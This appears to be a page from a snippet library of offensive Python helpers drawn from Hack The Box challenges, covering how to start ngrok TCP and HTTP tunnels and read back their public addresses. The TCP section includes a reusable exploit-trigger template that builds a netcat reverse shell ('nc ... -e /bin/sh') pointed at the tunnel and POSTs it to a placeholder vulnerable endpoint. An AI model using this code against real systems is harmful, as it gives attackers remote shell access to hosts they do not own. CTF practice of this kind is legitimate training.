Ngrok
ngrok TCP tunnel — start and retrieve public listener
A local ngrok TCP tunnel exposes a listener when the target cannot connect directly to the attacking host. The local ngrok API returns the public hostname and port used in the reverse-shell payload, while the returned process handle allows the tunnel to be terminated when the exploit finishes.
import subprocess
import time
ngrok_tunnels = "http://127.0.0.1:4040/api/tunnels"
def start_ngrok_tcp_listener(s):
try:
# send stdout and stderr to devnull to prevent ngrok from writing to terminal
ngrok_process = subprocess.Popen(f"exec ngrok tcp {LPORT}", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, shell=True)
except Exception as e:
print(f"[-] {Fore.RED}Could not start ngrok TCP listener. {e}")
sys.exit(1)
# give ngrok time to create the tunnel before querying its API
time.sleep(2)
try:
r = s.get(url=ngrok_tunnels, verify=False, timeout=10)
except Exception as e:
print(f"[-] {Fore.RED}Could not make request to ngrok API. {e}")
sys.exit(1)
ngrok_tunnel_list = r.json()["tunnels"]
ngrok_full_url = ngrok_tunnel_list[0]["public_url"]
ngrok_full_url_list = ngrok_full_url.split(":")
ngrok_url = ngrok_full_url_list[1][2:]
ngrok_port = ngrok_full_url_list[2]
print(f"[+] {Fore.LIGHTGREEN_EX}Obtained ngrok TCP listener: {ngrok_full_url}")
ngrok_details = ngrok_process, ngrok_url, ngrok_port
return ngrok_detailsWith shell=True, Python first starts a shell process to interpret the readable command string. Without exec, that shell would start ngrok as another child process, while the returned Popen handle would continue to identify the shell.
exec is a shell builtin that replaces the shell’s running program with ngrok without creating another process. The process identifier remains unchanged, so the existing Popen handle now identifies ngrok itself. ngrok_process.terminate() consequently terminates the tunnel instead of terminating only an intermediate shell and leaving ngrok running.
Reverse-shell exploit trigger
The ngrok hostname and port build a generic netcat reverse shell. The target-specific payload, request field, and exploit endpoint remain as replacement points.
def send_exploit(s, ngrok_tcp_url, ngrok_tcp_port):
rev_shell_cmd = f"nc {ngrok_tcp_url} {ngrok_tcp_port} -e /bin/sh"
payload = f"<TARGET-SPECIFIC PAYLOAD CONTAINING: {rev_shell_cmd}>"
data = {
"<PAYLOAD_FIELD>": payload
}
try:
r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request.")
print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")payload incorporates the reverse-shell command, data carries the payload in the vulnerable field, and the POST reaches the target-specific exploit endpoint.
The tunnel starts before the reverse-shell listener and remains available while the exploit runs. The process is terminated after the reverse-shell connection and listener cleanup finish.
if __name__ == "__main__":
s = requests.Session()
ngrok_process, ngrok_tcp_url, ngrok_tcp_port = start_ngrok_tcp_listener(s)
# start the reverse-shell listener before sending the exploit payload
send_exploit(s, ngrok_tcp_url, ngrok_tcp_port)
# wait for the reverse-shell connection and close its listener
ngrok_process.terminate()Find by: ngrok, tcp tunnel, public listener, callback, reverse shell, subprocess, local api, port forwarding, tunnel cleanup, exploit trigger, netcat · Source: HTB/PumpkinSpice
ngrok HTTP tunnel — start and retrieve public URL
A local ngrok HTTP tunnel exposes an HTTP server when the target cannot connect directly to the attacking host. The local ngrok API returns the complete public URL, while the returned process handle allows the tunnel to be terminated when the exploit finishes.
import subprocess
import time
ngrok_tunnels = "http://127.0.0.1:4040/api/tunnels"
def start_ngrok_http_tunnel(s, port):
try:
# send stdout and stderr to devnull to prevent ngrok from writing to terminal
ngrok_process = subprocess.Popen(f"exec ngrok http {port}", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, shell=True)
except Exception as e:
print(f"[-] {Fore.RED}Could not start ngrok HTTP tunnel. {e}")
sys.exit(1)
# give ngrok time to create the tunnel before querying its API
time.sleep(2)
try:
r = s.get(url=ngrok_tunnels, verify=False, timeout=10)
except Exception as e:
print(f"[-] {Fore.RED}Could not make request to ngrok API. {e}")
sys.exit(1)
ngrok_tunnel_list = r.json()["tunnels"]
ngrok_full_url = ngrok_tunnel_list[0]["public_url"]
print(f"[+] {Fore.LIGHTGREEN_EX}Obtained ngrok HTTP URL: {ngrok_full_url}")
ngrok_details = ngrok_process, ngrok_full_url
return ngrok_detailsWith shell=True, Python first starts a shell process to interpret the command string. The shell builtin exec replaces that shell’s running program with ngrok while retaining the same process identifier. The returned Popen handle therefore identifies ngrok itself, allowing ngrok_process.terminate() to stop the tunnel during cleanup.
An HTTP tunnel returns a complete URL such as https://example.ngrok.app. The path required by the target is appended to this URL.
if __name__ == "__main__":
s = requests.Session()
ngrok_process, ngrok_http_url = start_ngrok_http_tunnel(s, 8000)
# use ngrok_http_url while the local HTTP server is running
ngrok_process.terminate()Find by: ngrok, http tunnel, public url, host http server, expose local server, subprocess, local api, port forwarding, tunnel cleanup · Source: HTB/GhostlyTemplates